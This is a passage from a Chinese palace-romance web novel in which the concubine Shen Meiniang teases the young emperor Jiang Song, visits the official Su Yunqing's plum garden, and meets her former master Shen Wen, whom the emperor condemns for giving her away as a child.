感觉说出来,姜颂肯定会不高兴,到时候她又得花时间哄。 姜颂听到这句话,又道:“没关系的,那块玉佩本来就是我娘让我长大以后给心上人的……就算碰坏了也没关系,玉佩就是拿来戴的。” 沈美娘没想到姜颂会这样说,只好娇声道:“哎呀,还是怕摔坏嘛,妾身可舍不得陛下的心意。” 听到沈美娘最后一句话,姜颂才点了点头,认可她的话。 他有些好奇:“美娘,你这块玉,瞧着像是前代的古玉,从哪里来的?” 这块玉明显就是前代贵族间流行佩戴组玉佩时候的东西。 前代以玉别贵贱,玉是只有贵族才能用的装饰。 到了本朝虽然平常人家也可以用玉,大多数人却都欣赏不来这些古朴过时的古玉,更别说拿这玉佩送给心上人了。 姜颂想知道沈美娘是从哪里得来这块玉的。 该不会是别的男人送她的? 也不知道是哪个呆瓜给她送这种笨拙东西。 沈美娘没回答姜颂的问题,反问:“这块玉很打眼,很好辨认吗?” 姜颂道:“自然。” 沈美娘听到这话,心里更加放心。 既然很容易被人注意到就好。 沈美娘就担心这块玉不容易被看到,尤其是被该“看见”它的人看到。 姜颂追问沈美娘:“美娘这块玉……” 沈美娘见姜颂穷追不舍,喜欢捉弄他的坏心思又起来了。 她随口瞎编,眼泪说掉就掉:“陛下,其实妾身的爹爹是尚书大人,母亲是他的原配发妻,当年阿爹留了这枚玉佩给我娘。他却在高中状元后,另娶谢家女,我娘叫我长大以后凭此佩来认亲……” 沈美娘说着说着,就看到姜颂——他居然又红、了、眼、眶。 她第一次知道有人被骗一次后,还会被原封不动地骗第二次。 沈美娘急忙把眼泪擦了:“陛下,妾身是哄您开心的。” 在竹屋那次骗了就骗了,现在再骗姜颂,一个欺君之罪,可就是诛九族的事了。 姜颂听到这话,愣了好一会儿,才擦了擦眼角的清泪:“哄我的?” 他这才反应过来,沈美娘这是讲传奇故事的瘾又犯了,又张口就来地编瞎话了。 但他还是有些不死心,问:“那你怎么知道尚书大人,还有谢家女的?” 沈美娘:“我一直都知道尚书是很大的官,来了京城就更明白到底有多大了。谢家女则是今日刚从宫女口中知道的。” 姜颂闻言沉默了。 他被沈美娘这一逗弄,决定以后绝对不会再轻易相信沈美娘半句话了。 这个女人简直就是传奇故事入脑了,一秒钟编一个故事那种。 就在姜颂被逗了,有点挂不住面子的时候,沈美娘却主动抱住他,柔声哄他:“人家就是想让陛下开心点嘛,毕竟……” “陛下,不是觉得这块玉佩是别的男人送我的,正在吃醋吗?” “咳咳——”姜颂咳嗽两声,狡辩道,“谁说我吃醋呢?我是那么小气的人吗?” 沈美娘和姜颂对视:“陛下当然不是,陛下是天底下最大度的男人了。” “何况,”她的红唇微张,格外认真道:“我喜欢陛下,自然只会戴陛下送我的玉佩。” 到这里,姜颂哪里还记得什么玉佩的来历,更别提他昨晚想的今天要来追问沈美娘,绝不被沈美娘套路的事。 如今他满脑子只剩下沈美娘刚刚说的话。 沈美娘说她喜欢他! 姜颂脑子已经完全宕机,沈美娘看他的神情,也知道他不会再追问玉佩的来历。 她问出了另一件事,自然而然地转移话题:“陛下和这位苏尚仪可是旧相识?” 正把姜汤递给沈美娘的姜颂“嗯”了一声:“你快喝姜汤,小心着凉。” 沈美娘把姜汤一口气喝完,继续问:“不知陛下和苏尚仪怎么认识的?” 他随口道:“有年乐坊编了新的曲目,在父皇的寿宴上表演。她当时是领舞,舞鞋被别人动了手脚,出了差错。我觉得她可怜,就开口找父皇讨要她,把她保了下来。” 姜颂完全没将这件事放在眼里,继续皱着眉和姜汤做斗争。 他催沈美娘喝姜汤,但他其实才是从小就讨厌喝姜汤的那个。 沈美娘琢磨着姜颂的话,像是想通了什么,提议道:“陛下可对她有意?若是有意,不如给苏尚仪一个名分……” “你说什么?!”姜颂惊道。 他好不容易才做好心理建设把姜汤饮下,听到沈美娘的话,差点一口气全吐了出来。 “谁说我喜欢她了。”姜颂像是生怕沈美娘误会,“我才不是烂/黄/瓜!额,就是我没喜欢过除你以外的任何人的意思,反正你别乱说!我就喜欢你!” 沈美娘:“那您为何要向先帝讨要她?不是喜欢还能是什么?” “那也是一条人命啊!”姜颂直截了当,“我父皇脾气不好,我当时要是不出面,她肯定会没命的。难道叫我见死不救吗?” 沈美娘眼里闪过一丝复杂之色,继续试探:“可是您在先帝的寿宴讨要一个乐伎,对您的名声不是也不好吗?” 姜颂用手帕擦着嘴,很理所应当道:“名声哪有性命重要!” 沈美娘这下不再说话,她深深看了眼姜颂。 她在传奇故事里听过这件事。 说书先生们都说,这事证明当今陛下是个风流的,是个没出息的。 可是……原来不是这样。 沈美娘又抱住姜颂。 姜颂身子一僵,手上的动作也停下。 沈美娘这次没有笑吟吟,她很平静道:“陛下,你是个好人。” 姜颂才不是没出息,他是最好的人。 姜颂也明白沈美娘这是认可他那样做。 他就知道。 就算父皇、叶先生都觉得他幼稚,就算天下人都觉得他荒唐,但沈美娘肯定不会。 她把自己当人,也把所有人当人。 这个封建时代里,沈美娘是唯一理解他的人。 第30章 第30章没文化真可怕。 姜颂回答了沈美娘关于苏云卿的疑惑,终于想起他心里那道过不去的坎—— 他屏退宫人,试探问:“你就不关心关心我吗?” 姜颂其实还想问,沈美娘究竟爱不爱他,又究竟爱他几分。 可是姜颂不敢问出口,他怕问出后面的问题,得到的会是和那夜一样的答案。 沈美娘听到姜颂这般执着于这个问题,也知道这次肯定躲不过去。 她拉住姜颂的手,贴到她的心口处,眼里荡漾着万分柔情:“自然关心,妾身心里装的可都是陛下。” “美娘的这颗心,能够给别人住的地方,都给陛下了。”沈美娘坦然道。 姜颂想起沈美娘的“灵肉分离”炸裂发言。 有时候姜颂都不明白,明明沈美娘才是这个世界土生土长的人,怎的会比他还有更多“超前”的想法。 但姜颂知道沈美娘起码没有像骗叶随那样,随口说谎话骗他。 这是不是说明,在沈美娘心里,他还是比别的男人要特别一些。 姜颂无奈又不甘:“沈美娘你就不能再多爱我一些吗?” 沈美娘听到姜颂近乎有些卑微的语气,脸上的笑意滞了滞。 宋江江说这样的话,沈美娘不会意外,可皇帝姜颂居然也会说这样的话吗? 沈美娘默然片刻,偎依进姜颂怀里,娇柔道:“可是那样沈美娘就不是沈美娘了。” 她就是这样,她有活泼伶俐、娇俏灵动的一面,也有野心勃勃、欲壑难填的一面。 沈美娘早就和姜颂说过了,喜欢她,就必须喜欢她的所有。 也必须接受,她这辈子,都没办法给姜颂他想要的那种爱。 殿内如春日般暖和,让沈美娘都有些头昏脑胀了。 她真是糊涂了,居然没有说些好听的哄着这小皇帝,偏偏说了心底的真话。 就在沈美娘思考如何不着痕迹,让姜颂觉得自己很爱他的时候,他却先一步开了口:“沈美娘,你就是个‘坏女人’。” 他捻起沈美娘褪去金钗,散开的一缕青丝,放到鼻尖轻嗅。 上面有熟悉的令人沉醉的香味。 姜颂摩挲着发丝,自嘲妥协:“可我就是喜欢你。” 沈美娘听到姜颂的话,抱住他的腰身,他身子僵了一下,才道:“那夜我有回来找你,我想告诉你,我就是喜欢复杂的你。” 沈美娘知道姜颂那夜被叶随为难,却没想到姜颂原本是打算回城找她。 姜颂继续道:“我方才说的也不对,沈美娘你不是坏女人,你是天底下最好的人。” 他不能因为沈美娘不爱他,就说她是坏女人, 沈美娘听姜颂说到这里,把他抱得更紧,将头埋进他的怀里。 可能是今晨去寿康宫跑了一趟有点累了的缘故,也可能是殿内太过于温暖,沈美娘放下戒备,在姜颂怀里沉沉睡去。 姜颂让宫人拿来薄被,披在沈美娘身上。 他怕如果把沈美娘抱到床上去的话,会吵醒她,仍旧保持着刚才的姿势不敢动一下。 姜颂垂眸盯着沈美娘的睡颜,就算只是这样默默看着她,他也觉得很满足、很放松了。 偶尔,睡着的沈美娘蹭了蹭他,他又会有些紧张,但还是强撑镇定。 他不能吵到沈美娘睡觉。 等沈美娘睡醒,已经是一个时辰后的事了,她挣扎着起身,才发现自己在姜颂怀里躺了很久。 沈美娘连忙起身:“陛下,妾身不是故意的,您……还好吗?” 想想也不可能没事,姜颂他这样坐一个时辰,应该是腰酸背痛,腿也被她压麻了。 姜颂却道:“无碍,无碍。” 他可能是为了证明自己没事,急忙站起身,却差点一个踉跄儿摔倒。 沈美娘扶姜颂坐下,他缓了一会儿,就借口说要批折子,得先行离开。 这次沈美娘没留姜颂——他刚丢脸,肯定不想继续留在她面前,她当然得放他走了。 沈美娘也得重新花时间考虑她和姜颂的关系。 她还没想好,究竟要把姜颂划进哪种关系。 垫脚石?青云梯? 又或者,还是把他和“宋江江”一样,划进自己人的范畴。 沈美娘垂下眸,还没想清楚这件事,却听宫女通传说有人造访。 那位苏尚仪居然派人,邀她过两日去她府上赏梅。 沈美娘有些好奇,问韦阿宜:“苏尚仪不是女官吗?怎的不住在宫里?” 韦阿宜道:“五品以上的女官可以在上京城中置办宅邸,住在宫外。” “还 有这等好事。“沈美娘有些惊讶。 做女官可真好。 沈美娘又问:“你可还知道什么关于这苏尚仪的事?” 韦阿宜想了想,道:“苏尚仪名云卿,乃是贱籍出身,舞艺卓绝,被特召进教坊。后来,先帝将她赏给了尚是太子的当今陛下,陛下即位后,又到尚仪局做了尚仪。” 沈美娘有些欢喜:“她也喜欢跳舞?” 韦阿宜:“这是自然,苏尚仪的舞可是满京城出了名的,许多当世文人都给她写过诗。” 沈美娘满脸敬佩:“好厉害!” 她又问了些关于苏云卿的事,得知苏云卿还颇有才学,不仅舞艺出众,还通诗赋,擅书法。 沈美娘对这个人越来越好奇了。 她欣然答应了苏云卿的邀约,打算明日就和姜颂说一声,她想过两日出宫的事。 宝儿却格外反对沈美娘去赴约。 沈美娘问她为何这般讨厌苏云卿,宝儿反而瞪了一眼沈美娘:“你还说!难道你不觉得她是个隐患吗?” 宝儿数落她:“你居然还帮她找陛下要名分,万一陛下真和她有什么,你怎么办?” 原来宝儿是担心她啊。 沈美娘笑出声,拿起她那把破扇子转了转:“那正好卖苏尚仪一个人情呗。” 宝儿还是不理解:“沈美娘你就不怕她把陛下抢走吗?” 沈美娘不在意:“姜颂是皇帝,他三宫六院本来就正常。” 宝儿的话正好点醒了沈美娘。 姜颂是皇帝,她才不会喜欢皇帝,成为她最讨厌的那种蠢人。 沈美娘看宝儿还想说什么,又道:“好宝儿,苏尚仪如果能成为咱们的人,可比姜颂虚无缥缈的爱有用多了。” 一个能从民间舞姬,做到正五品尚仪的女人,不管是本事心性、人脉势力,都绝对不会是个简单人物。 沈美娘就喜欢这种有能力的人。 她揉捏宝儿圆嘟嘟的脸,哄道:“如果拿下苏尚仪,我到时候把你塞进六尚,就有人照顾你了。” 宝儿听到这话,脸微微泛红:“沈美娘,你说什么啊!” 她现在还是个白字先生,离女官还远得很。 沈美娘却很确信:“肯定可以!你先和青词从最简单的字认起,等有点基础了,你就去习艺馆继续学,还能交新的朋友。” 宝儿听到这话,怔怔点头。 她从前喜欢江瑞那个黑心书生,就是因为他有学识…… 她原来也可以变得和他一样有学识啊。 沈美娘不知道宝儿心中的期待,她只是有点担心姜颂不会答应她出宫去的事。 她听以前教导礼仪的女先生都说,越是高门大户规矩就越多。 想来像是宫中这种地方,规矩肯定会更多吧。 沈美娘也从来没有听谁说过,宫里的妃子能够随意出宫游玩的。 但她没想到,她和姜颂说起这件事,他居然很爽快地答应了。 姜颂有点得意:“你总说你喜欢荣华富贵,你看吧,宫里就是有荣华富贵也不好玩。” 沈美娘倒也不是觉得宫里不好玩,她解释:“是苏尚仪邀我去府上一叙……当真没有问题吗?” “没事,只是在长安城内走动罢了。”姜颂不太在意这件事,“我会多派几个暗卫跟着你的,你记得宵禁前回来就好。” 姜颂仔细想了想:“可能有老古板会参几本折子,我随便批两笔就是了。” 他拍了拍沈美娘的肩,难得有些君王的可靠模样:“你好好玩就是了,别的事有我。” 再说他和沈美娘这才胡闹到哪里。 本朝民风奢靡就是上行下效来的,他和父皇与有几位先祖比起来,也就是在爱情上专一了点。 还没那些先祖一半荒唐。 沈美娘这才放心。 等到出宫那日,姜颂再三吩咐她宵禁前记得回来,还有吃的东西一定要让试膳太监试过才能吃。 沈美娘用力点头:“知道了,知道了!” 她凑到姜颂耳边,小声逗他:“管家公,话真多。” 说完,沈美娘就转身上了马车,用力和姜颂挥手:“陛下,妾身会好好玩的!” 姜颂揉了揉耳朵,看向沈美娘颔首。 这里人多,他得装得沉稳一些。 他身边素来胆大的知宁道:“陛下,不若与沈娘子同去好了。” 也就不用这般眼巴巴地目送对方了。 姜颂听到知宁的提议有些心动,随即拒绝:“朕今日折子还没批。” 年关将至,事情本就多,更不要说他之前逃出宫那几个月耽搁了不少事…… 他既然选择了当“姜颂”,就要肩负起“姜颂”应该肩负起的责任。 但他确实还是有些放心不下沈美娘。 等沈美娘的马车消失在视线里,姜颂立刻就转身往紫宸殿去。 他决定了!今天白天一定不能在批折子的时候走神,一定要效率爆棚,晚上他再熬个一两个时辰的夜。 这样他肯定就可以去接美娘了。 还在马车上的沈美娘不知道姜颂已经决定要来接她,她有些好奇地掀开车帘,看上京的风景。 她一路上看到了不少人,还有很多高鼻深目的异域人,更别提南州也有的胡人了。 沈美娘越看越觉得上京就是繁华,不愧是从小行脚商人就常念叨的地方。 等快到苏尚仪府上时,沈美娘才放下车帘,故作守礼。 苏云卿亲自到门外来迎接的她。 沈美娘踩着凳子从马车上下来,和苏云卿寒暄:“苏尚仪,上次匆匆一面,没细看,如今仔细看,才发觉苏尚仪当真是生得很美。” 反正千穿万穿马屁不穿,沈美娘直接上来就逮着苏云卿先夸了。 苏云卿垂首,谦卑道:“娘子谬赞,下官蒲柳之姿,不敢与娘子相较。” 沈美娘压根就不知道“蒲柳之姿”是什么意思,但她猜苏云卿应该是在自谦。 她便抿唇轻笑:“苏尚仪不必自谦,你的品貌宫中谁人不知。” 苏云卿还是那副微笑,嘴角弧度都不带变的,沈美娘也不知道这人究竟是真的开心,还是讨厌她。 苏云卿可能也觉得两人继续在外面聊这些场面话没意思,侧身给沈美娘让路:“娘子,请。” 沈美娘又看了苏云卿几眼。 她现在还不太确定这人究竟有多喜欢姜颂。 但如果苏云卿很喜欢姜颂,还是能面上保持平静的话。 那沈美娘就更欣赏苏云卿了。 苏云卿在沈美娘身后半步的地方道:“下官最喜梅花,府中红梅、腊梅都种的有,今年的腊梅开得格外好,您瞧,站在这儿都有暗香。” 沈美娘闻了闻,果真嗅到一阵似有若无的腊梅香。 她笑开,称赞道:“果然好香。” 苏云卿听到沈美娘只能说出“好香”这种词儿,确实有瞬间觉得沈美娘有些粗鄙。 可是……眼前的女人笑起来太过明媚好看,以至于苏云卿又实在不能将这种词语加到她头上。 苏云卿保持微笑:“不知道沈娘子喜欢什么花?” 沈美娘:“最喜欢牡丹。” 苏云卿笑道:“可是因为牡丹雍容典雅、娇艳欲滴?” 沈美娘觉得她也有必要多读点书了,这苏云卿一句话,两个词儿她都听不懂。 想必上京的人,应该人人都喜欢拽这些词儿,可是这些人又不像姜颂一样会给她解释意思。 沈美娘听不懂苏云卿的意思,直接道:“不是,我就是觉得牡丹一眼就能在花丛中被看到,而且卖得也贵。” 苏云卿差点没保持住常年仿佛刻在脸上的笑容。 这个沈美娘实在是……苏云卿想说她粗鄙没文化,可是这人又实在是太坦诚了。 沈美娘的坦诚,让苏云卿根本生不起什么轻蔑和嫉妒之心。 苏云卿垂首,调整了一下表情,才继续和沈美娘道:“沈娘子说的也有理,牡丹确实是别的花不能比的。” 两人走到梅园外,沈美娘听到里面传来一阵清脆的笑声。 她循声看去,发现是个穿红色衣裳的小姑娘。 她有些带着病气的清瘦感,不过十二三岁的年纪,正踮起脚和丫鬟在折梅花。 小姑娘察觉到沈美娘和苏云卿两人,转过头来,看向沈美娘:“臣女见过沈娘子。” 就在沈美娘好奇小姑娘身份的时候,沈美娘听到身边的苏云卿道:“这是礼部尚书李大人家的大小姐李姮,她听闻下官府中的梅花开了,也吵着要来赏梅。” 苏云卿在沈美娘耳边压低声音,补充道:“李大人是谢党人,娶的是谢阁老的小女儿。” 沈美娘听到这话仔细又瞧了瞧李姮的脸。 她也笑吟吟回礼:“李娘子好。” 李姮原本还想继续折梅花,却在看到沈美娘腰间的玉佩时,眼神滞了滞。 她抬眼,错愕地和沈美娘对视。 沈美娘没躲避她惊讶的目光,眯了眯眼,笑意更深。 她反问:“李娘子,这是怎么呢?” 30-40 第31章 第31章原来他不是唯一的小狗。…… 李姮听到沈美娘关心她的话,愣了一下,道:“没什么。” 她就是觉得这位沈娘子腰畔的玉佩有些眼熟。 沈美娘听到李姮的话,也没再追问,手却摩挲着她的玉佩。 苏云卿觉得沈美娘好像有点不对劲儿,问:“沈娘子,可是之前就认识李大娘子?” 沈美娘看了眼身边规矩沉默的青词,又看了看一脸纯稚的李娘子。 她轻笑摇头:“不认识,我这种人,哪里能有机会认识李娘子呢?” 苏云卿仔细一想也是。 这个沈美娘虽然救了陛下,陛下对外宣称她是农女出身,家中世代务农。 但苏云卿却听说,这人其实是南州一个小小司马府上的乐伎罢了。 更有甚者说她是被转手不知多少次的贱奴而已。 真真假假的消息许多,但唯一可以确定的就是,这个沈美娘绝没有什么高贵出身。 苏云卿引沈美娘和李姮到亭中坐下,笑道:“两位娘子,您二位瞧这梅花开得可真好。” 李姮道:“论香气清幽,什么花又能比过腊梅呢?” 沈美娘不懂花,跟着狂点头。 她又听着苏云卿和李姮叽里呱啦讲了一堆她听不懂的诗句和词语。 沈美娘原本一个劲儿地吃点心,最后实在是有些受不了了。 沈美娘打断她们二人,转移话题:“听闻苏尚仪的舞跳得不错,不如我们切磋舞技?” 她是真的不想再听这两人扯什么“腊梅和红梅谁更有风骨”、“腊梅和兰花谁更遗世独立”了。 李姮很是高兴:“好啊!我记得苏尚仪的舞不是冠绝上京的吗?” 苏云卿脸色一变,讪讪笑道:“李娘子,下官已经许多年不跳舞了。” 李姮兴致缺缺,颇为遗憾:“那真是太可惜了……” 要知道苏尚仪的舞可是出了名的,可惜自从她当年进了太子府就再没人见过了。 李姮原本还以为她今日能有幸一观来着。 沈美娘道:“我一个人跳也可以。” 李姮:“好啊,那就多谢沈娘子了!” 她从来没听闻过这位沈娘子会跳舞,但她既然能被陛下从南州带回京城,想来定是有什么过人之处。 沈美娘其实也有些遗憾,她从听到宫女说苏云卿善舞起,就想和她比试一场,今日还特地梳了轻便的发髻。 但能在李姮和苏云卿面前展示她的舞蹈,沈美娘也颇为满意了。 她沈美娘脱下鞋袜,光着脚踩在亭中的薄毯上起舞。 这次她跳的依旧是之前给姜颂跳的舞,唯一不同的是,她在里头也添上了芙蓉谷的风景。 竹屋后的潇潇风雨竹,夏日舒展蓬勃的稻苗,还有秋冬时节依旧挺拔的乔木…… 沈美娘都能将它们变成舞蹈的一部分,即使是从未见过那些景色的人,也能从她的舞蹈中感受到生机。 李姮也没想到沈美娘的舞技居然如此出众,完全出乎她的意料。 苏云卿在一旁看着,她比李姮更懂舞,也知道沈美娘的本事很厉害。 饶是她自幼习舞,怕是都比不上这位沈娘子。 沈美娘一舞毕,李姮立刻捧场鼓掌,又问:“沈娘子,这跳的是什么舞呀?是时兴的舞目吗?” 李姮母亲喜静,家中不常有宴饮娱乐,也不像别的高门大户养家妓以充门庭。 沈美娘还没回答,苏云卿却先开了口:“沈娘子这舞应是自己编排的吧?” 沈美娘点头。 李姮闻言愈加佩服沈美娘:“沈娘子,好生厉害!” 沈美娘难得谦虚道:“编舞又不难,李娘子若是想,肯定也是可以的。” 李姮不善舞,信了沈美娘的说辞,但苏云卿却知道这个沈美娘的舞艺究竟有多厉害。 编舞确实不难,但沈美娘的这支舞新颖、独特,她瞧着像是取材自寻常生活中最常见的事物。 能从最无趣、最被忽视的生活里,提取出这些动作,再串联起来…… 苏云卿不敢想这得是多强的天赋。 她有些不服气,问:“沈娘子可是自幼习舞?” 说完这话,苏云卿有些后悔。 歌舞这种取悦人的技能,明显就是贱籍女子才会苦心钻研的东西,陛下都有心帮沈美娘遮掩出身。 沈美娘定然会认为苏云卿这话是在给她难堪。 谁知,沈美娘点头,认真道:“我小时候就喜欢跳舞,我觉得蹦蹦跳跳、转圈圈很有意思,不过学得不多……后来,投入司马门下,才开始苦练。” 沈美娘思考了一下,道:“应当勉强算是从小学的吧。” 苏云卿闻言,愈加明白沈美娘的厉害。 她是舞姬之女,自幼就跟着阿娘苦练,就盼着能够被选进乐坊,不必和母亲一样沦落欢场。 可即使这样,今日见了沈美娘的舞,她才明白什么叫“人外有人”。 苏云卿真诚赞叹:“沈娘子的舞实在是人间难得。” 沈美娘轻笑道:“苏尚仪过奖。苏尚仪定也是如此,只是不知苏尚仪为何如今不跳舞呢?” 苏云卿闻言,垂眸道:“下官如今年岁渐长,已经跳不动了。” 沈美娘知道苏云卿的话有所隐瞒,但她也没有再追问下去。 她颇为遗憾:“那倒是可惜。” 沈美娘话里全是惋惜之情,就好像苏云卿不是不能跳舞,而是和那些英年早逝的才子般令人扼腕。 今日碰面,苏云卿当然也看得出这位沈娘子不是什么草包。 她也不能确定,沈美娘的惋惜有几分真,几分假。 但苏云卿确实因沈美娘的话,有些触动。 下人此时突然进来,道:“大人,吏部侍郎沈大人前来拜访。” 苏云卿听到这话有些意外。 她和沈温平日并无来往,也不知他今日突然来访所为何事。 李姮听到此事,脸颊微红,起身告辞。 沈美娘有些好奇。 这李姮看起来就是个小姑娘,怎么突然露出一副少女怀春般的作态。 李姮拿起桌案的腊梅挡住脸,小声道:“沈郎君来找苏尚仪有事相商……我、我便先从后门走了。” 苏云卿闻言,一副了然的模样,道:“那李娘子先走吧,我 让下人送送你。” 等李姮离开,苏云卿看沈美娘探头探脑,解释道:“李娘子如今也到了许婚的年纪。李尚书想和五姓联姻,谢夫人和李娘子却更青睐那位吏部侍郎,沈温沈大人。” 沈美娘有些不解:“这李娘子瞧着不过十二三岁,何必如此这般早就谈婚论嫁?” 苏云卿叹了口气:“李娘子从小身子不好,瞧着年纪小,其实已经年将及笄了。” “谢夫人青睐沈大人,也是瞧他只是江南小士族出身,好拿捏,才想将女儿嫁给他。”苏云卿眼中有些艳羡之色,“这般才能教他婚后与李娘子先不圆房,等李娘子年岁大些,身子好些,再生孩子。” 沈美娘听到这里才明白其中缘由。 难怪她说沈温就算年纪轻轻就做到吏部侍郎,本朝也不似前朝那般婚姻“尚阀阅”,但怎么也不至于能得到谢夫人的青眼。 沈美娘垂眸,手无意识滑过腰间的玉佩,道:“谢夫人当真是一颗慈母心。” 苏云卿也颇为赞同:“谢夫人就这一个女儿,李尚书和谢夫人当然得当成掌上明珠疼爱。” 沈美娘听到这话,眼神里闪过一丝轻嘲,感叹:“原来如此,真叫人羡慕。” 就在沈美娘和苏云卿两人闲聊时,下人通报,说是沈温已经在偏厅里等着了。 沈美娘起身:“苏尚仪既然还要会客,我便先行一步,今日多谢大人款待。” 她不想太早和沈温有牵扯,不然姜颂吃醋了,哄起来肯定很麻烦。 苏云卿道:“也好,下官改日再挑个好日子和沈娘子好好赏梅。” 沈美娘跟着苏云卿从亭中往外走,却在回廊处遇到了一个人。 苏云卿也不知道沈温怎么不在偏厅里头等着,居然会到两人途经的路上来。 本朝男女大防不如前朝那般严苛,但沈美娘怎么也算是未来的娘娘。 外男和未来的贵妃娘娘拉扯算什么? 这个沈温平日里看着小心谨慎,今日怎这般糊涂? 况且……这个沈温看沈美娘的眼神,好像——有些不大对劲儿? 沈美娘瞧苏云卿停住脚步,有些疑惑:“苏尚仪,你不是送完我,还要去见那个沈大人吗?” 苏云卿这才反应过来,沈美娘肯定不认识沈温。 她给沈美娘介绍:“沈娘子,这位便是下官说的沈大人。” 沈美娘这才回身,向刚刚擦身而过的男人看过去,她再三打量沈温,像是有些不可置信。 沈温看沈美娘的眼神,以为她是放不下自己,软下目光道:“沈娘子,别来无恙乎?” 苏云卿这才反应过来两人居然是认识的。 沈温也对沈美娘的怔愣有些……欢喜。 美娘看到他还会愣神,是不是说明这么多年,沈美娘心里也还有他。 沈美娘却在听到沈温的话后,又盯着他扫了一遍。 沈温怎的这么丑呢?! 沈美娘记得沈温十三四岁的时候长得还挺好看的……如今却看起来丑多呢? 不过想想也是,她天天看姜颂那张脸——确实再看别的哪个男人,都好像变得更丑了。 苏云卿正想问两人是否认识,就看到对面回廊下的一道明黄色身影。 两边隔得很近,那刚才几人的交谈,那人肯定都听到了。 沈美娘正想告诉沈温“她好得很”,就听到苏云卿突然道:“参见陛下!” 沈美娘这才扭头看过去,就看到姜颂站在不远处的地方,默默盯着她和沈温。 他总是笑着的眼睛此刻没笑。 沈美娘知道姜颂最爱笑了,很生气的时候也不太会黑脸。 她也知道,姜颂此刻是真的很不开心。 第32章 第32章直球万岁! 第三十一章 姜颂原本想的是先批两个时辰折子,再来接沈美娘的。 可他心里想着她,哪里还看得下去那些无聊至极的奏折。 姜颂最后选择用沈美娘那日说的“未来理论”说服自己—— 人生剩下的几十年,多的是奏折要批,但和沈美娘一起漫步上京的机会实在是可遇不可求。 姜颂就批了一个时辰不到的奏折,就跟出宫来了。 但他没想到沈温也在这里,更没想到原来他与沈美娘认识。 姜颂看到沈美娘向他看过来,他来不及整理情绪,眼里的不高兴全被她瞧去了。 就在他还没反应过来的时候,沈美娘已经笑着向他跑过来。 她抱紧他的腰身,毫不在意他人的目光,娇娇道:“陛下,是来接妾身回宫的吗?” 姜颂被沈美娘这一抱,心里不悦的情绪散去许多,他颔首“嗯”了一声。 他不生沈美娘的气,目光却还是在沈温身上。 姜颂记得沈温也是南州人,他也是五年前进士及第…… 他很快就猜到了沈温恐怕就是沈美娘那位前前主人。 姜颂曾以为南州人每次提到沈美娘的来历都支支吾吾,是因她的前前主人是无足轻重的书生,没什么人记得他的名字。 如今想来,原来不是无足轻重,而是那沈温早已青云直上。 那些人就同史官“为尊者讳”般,替他遮掩曾经献美给上官的旧事。 姜颂拉着沈美娘的手,让自己看起来尽量平静,问沈温:“沈卿与沈娘子原来认识?” 沈温听到这话迟疑片刻,才继续道:“回陛下,臣从前与沈娘子认识,是故……” 沈温原想说两人是故交,沈美娘却主动道:“陛下,妾身从前是沈大人的婢女。” 姜颂看向沈美娘,他没有想揭开沈美娘的伤疤,是故意给沈温机会含糊说辞的。 但他没想到沈美娘会自己说出来。 沈美娘倒是很坦然。 她知道她和沈温的关系,只要有心肯定能被挖出来,与其藏着掖着不如主动说出来。 沈美娘看向沈温,道:“只是多年不见,妾身早就认不出沈大人了。” 她怕姜颂吃醋,话里话外都在撇清关系。 早知道今天出门就让青词给她卜上一卦,也就不会倒血霉遇到沈温。 沈美娘今日是真的没认出来沈温。 男大十八变,她哪里能想到沈温长大以后长成现在这样…… 但这话落在两个男人耳中就是全然不同的意思。 姜颂没有免沈温的礼,他低着头,眼中闪过一丝后悔与心痛。 美娘这话听起来,还是在怪他当年把她送给叶司马的事。 也是,都怪他当年…… 但还好,如今一切都尚来得及,他还有机会弥补美娘。 宋江江听到这话,也没觉得沈美娘是对沈温旧情难忘。 他认为沈美娘这是被沈温勾起了伤心事。 这五年里,沈温他一路官运亨通,沈美娘却一个人在司马府上受尽磋磨。 如果不是被这个男人抛弃、利用,沈美娘或许也本该是天真浪漫、温柔善良的姑娘家。 姜颂盯着这个沈温,眼里闪过一丝杀意。 他敛了敛眸,才压下心中那些不好的情绪,拉住沈美娘的手就走。 等两人回了马车,沈美娘偷偷看姜颂,猜测他是高兴还是生气。 她难得有些拿不准姜颂的想法,说他不生气吧,沈美娘不相信。 刚才她和姜颂对视那一眼,就知道这次小皇帝是真的生气了。 可要是说他生气了,他刚才一没说酸话,二也没发脾气。 沈美娘看不出来姜颂的情绪,就选择主动出击,她“唉哟”一声。 看到姜颂如她预料地看向她,沈美娘揉着手腕,皱眉道:“陛下,刚才把妾身的手都拽疼了。” “不可能!”姜颂一口否认。 他知道沈美娘是个弱女子,刚才根本就没用力。 沈美娘“哼”了一声,道:“陛下刚刚忙着吃沈大人醋,自然无心顾及妾身了。” 姜颂看自己头上的罪名越来越多,连忙辩解:“谁说我吃醋了,我 是那般小气的人吗!” 他才没吃醋,他就是觉得那个沈温太坏了,他是在替沈美娘鸣不平。 但姜颂不想说出口,他怕惹沈美娘伤心。 沈美娘虽然嘴上爱说些贬低自己的话,也总是说些看透世间黑暗的话,但姜颂知道美娘其实最要强、最自爱了。 沈美娘不知道姜颂的想法,以为他是心里还有疙瘩,问:“那陛下刚才那般是为了何事?” “陛下,说喜欢妾身,却连心里话都不和妾身说。”沈美娘垂首,泫然欲泣。 没办法,姜颂要是心里对她和沈温的关系有误会,就会是埋在那里的隐患。 她今日一定得把这个误会解开。 沈美娘知道姜颂看不得她哭。 果然,姜颂看沈美娘哭了,急忙拿帕子替她擦眼泪。 但他还是抿唇,不愿意说实话。 沈美娘趁机扑到他怀里,撒娇:“陛下,我阿爹阿娘他们就很相爱,从来不会藏着掖着,陛下既然喜欢妾身,那我们不是应当也那样吗?” 沈美娘抱住姜颂,佯装不高兴:“还是说,陛下说喜欢我,其实和其他男人一样,都把妾身当……” 沈美娘的“玩意儿”还没说出口,姜颂就捂住她的嘴,他急道:“我没有。” 姜颂试探道:“沈美娘,我先说好,你不许难过。” 沈美娘狂点头。 难过?她为什么要难过? 姜颂吃醋,不是该他难过吗? 沈美娘不太懂姜颂这话的意思,但还是装出一副认真听着的样子,打算等姜颂说出他是吃醋嫉妒沈温了,就逐一解释和安慰他。 她却听到姜颂轻声道:“美娘,我是讨厌那个沈温,他怎么可以把十二岁的你送给叶司马呢!” 沈美娘听到这话愣住。 她想了很多,唯独没想到,姜颂是在为这一点不开心。 姜颂想到那个沈温就生气:“你当时才十二三岁,谁知道那个叶司马当时是觉得你奇货可居……这个词就是觉得你很厉害想以后拿你谋利的意思,还是叶司马可能有什么见不得人的喜好呢!” 那些达官贵人、富商巨贾多得是喜欢养娈/童、宿雏/妓的。 姜颂说到这里,越发生气:“我是不明白,他这种人,凭什么过得好。” 